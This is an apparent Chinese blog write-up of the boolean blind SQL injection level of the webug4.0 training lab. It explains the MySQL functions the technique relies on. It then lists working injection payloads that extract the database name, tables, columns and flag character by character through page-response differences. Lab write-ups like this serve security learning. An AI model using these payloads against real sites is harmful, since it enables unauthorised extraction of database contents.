webug4.0—布尔注入

盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。本次主要讲解的是基于布尔的盲注。

Length()函数 返回字符串的长度

sleep(n):将程序挂起一段时间 n为n秒

if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

left(database(),n)  database() 数据库名称 left()函数表示截取数据库左侧n个字符

substr(a,b,c)   从字符串a的b位置开始截取c个字符,当b为负数时截取位置是从字符串a右端向左数b个字符

mid(a,b,c)    从字符串a的b位置开始截取c个字符,c为非必需若省略返回剩余文本

ord()与ascii()   这两个函数都是将字符转化成ascii值

limit i,n第一个参数:从i开始查 ; 第二个参数:查n条

IFNULL(exp1,exp2) 如果exp1不为null,返回exp1否则返回exp2

cast(exp as data_type)as之前是待处理数据,后面是要转换的类型。有时还有要求eg:CAST(‘12.5’ AS decimal(10,2)) 10代表所有数字位数限制为10 ,2表示小数点后两位 故结果为12.50 如果前面type换成int 则运行错误 。另精度和小数位数的默认值分别是18与0,decimal下 浮点数不说明的情况下会出来整数。

1. 打开靶场,发现url参数id为1,尝试修改为2 发现回显hello,修改为3 发现正常无回显 我们好像意识到了什么。。。

2.老一套探测sql注入

正常页面

1.加 ' 发现内容变了

2.加 ' and 1=1 %23 发现内容没变

3.加 ' and 1=2 %23 发现内容变了

4.发现注入点 且 并没有报错 不是显错注入

3. 探测列数

192.168.72.136/control/sqlinject/bool_injection.php?id=1' order by 1 %23   #页面没变
192.168.72.136/control/sqlinject/bool_injection.php?id=1' order by 2 %23   #页面没变
192.168.72.136/control/sqlinject/bool_injection.php?id=1' order by 3 %23   #页面变化 说明是两列
4.判断数据库名称的长度(二分法思维)

1' and length(database())>10 %23    页面改变
1' and length(database())>5 %23    页面改变
1' and length(database())>3 %23    页面没变
1' and length(database())>4 %23    页面没变
确定数据库名称长度为5

5.判断数据库名称的字符

http://localhost/control/sqlinject/bool_injection.php?id=1’ and left(database(),2)>'we' %23

正确时内容不变,错误时内容变了


开始猜数据库名,一步步猜出数据库名为webug,替换数字时需要加一个测试字符

找出数据库的名称为:webug

6.猜解数据库表个数:

1' and (select count(table_name) from information_schema.tables where table_schema=database())>10 %23    页面改变
1' and (select count(table_name) from information_schema.tables where table_schema=database())>5 %23    页面不变
1' and (select count(table_name) from information_schema.tables where table_schema=database())>6 %23    页面不变
1' and (select count(table_name) from information_schema.tables where table_schema=database())=7 %23    页面不变
      7个表

7.猜解表名:

1.首先猜解第一个表名长度:

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 %23    页面改变
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 %23    页面不变
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>8 %23    页面不变
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 %23    页面不变
确定第一表的长度为9

以此类推,修改substr的第二个参数,判断第二个表长度为8, 再类推 到第4个表使用这个语句

http://192.168.72.136/control/sqlinject/bool_injection.php?id=1%27%20and%20length(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%203,1),1))=4%20%23
发现了这个表的名称长度为4 可能是我们要的flag(后来发现竟然不是)  如果你需要别的 就需要用下面爆破flag的方法爆破其他数据表名称

2.判断表的位置和名称长度之后判断表的具体名称:

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>88 %23    页面不变
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>120 %23    页面改变
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>100 %23    页面不变
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>105 %23    页面改变
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=102 %23    页面不变
发现第一个字符的ascii值为102 查询字符为f 依次类推得到表名flag

8. 猜解字段名:

1.依然是猜解字段名个数

1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='flag')>10 %23    页面改变
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='flag')>5 %23    页面改变
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='flag' limit 1,1)=4 %23    页面不变
发现字段的个数为2

2.猜解各字段名的位数

猜解第一个字段的长度:

1' and length(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1))>5 %23    页面改变
1' and length(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1))=2%23    页面不变
发现第一个字段长度是2 可能不是我们要的‘flag’字段

猜解第二个字段的长度

1' and length(substr((select column_name from information_schema.columns where table_name='flag' limit 1,1),1))>5 %23    页面改变
1' and length(substr((select column_name from information_schema.columns where table_name='flag' limit 1,1),1))=4 %23    页面不变
 发现第二个字段的长度为4 可能使我们需要的字段 爆破一下这个字段的名字

1' and ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 1,1),1,1))>88 %23    页面不变
1' and ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 1,1),1,1))>120 %23    页面改变
1' and ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 1,1),1,1))=102 %23    页面不变
发现第二个字段的第一个字符ascii值为102 依次类推 发现字段名也是flag

9.猜解字段值:

依然是依次猜解字段值得长度 以及字段的值

1.猜解字段值长度:

1' and length(substr((select flag from flag limit 0,1),1))>10 %23    页面不变
1' and length(substr((select flag from flag limit 0,1),1))>20 %23    页面改变
1' and length(substr((select flag from flag limit 0,1),1))=16 %23    页面不变
字段值长度为16

2.猜解字段值具体值:

1' and ascii(substr((select flag from flag limit 0,1),1,1))>88 %23    页面不变
1' and ascii(substr((select flag from flag limit 0,1),1,1))>120 %23    页面改变
1' and ascii(substr((select flag from flag limit 0,1),1,1))>104 %23    页面改变
1' and ascii(substr((select flag from flag limit 0,1),1,1))>96 %23    页面不变
1' and ascii(substr((select flag from flag limit 0,1),1,1))=100 %23    页面不变
探测出来字段值第一位为d 依次类推 改变substr第二个参数 得到flag为 dfafdasfafdsadfa

10.提交flag 。。。 你没有看错 flag错误。

11.只能去探测其他表:

最后探测出来真正flag在env_list表中 行吧 方法已经放在这了

最后放出flag :fdsafsdfa

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值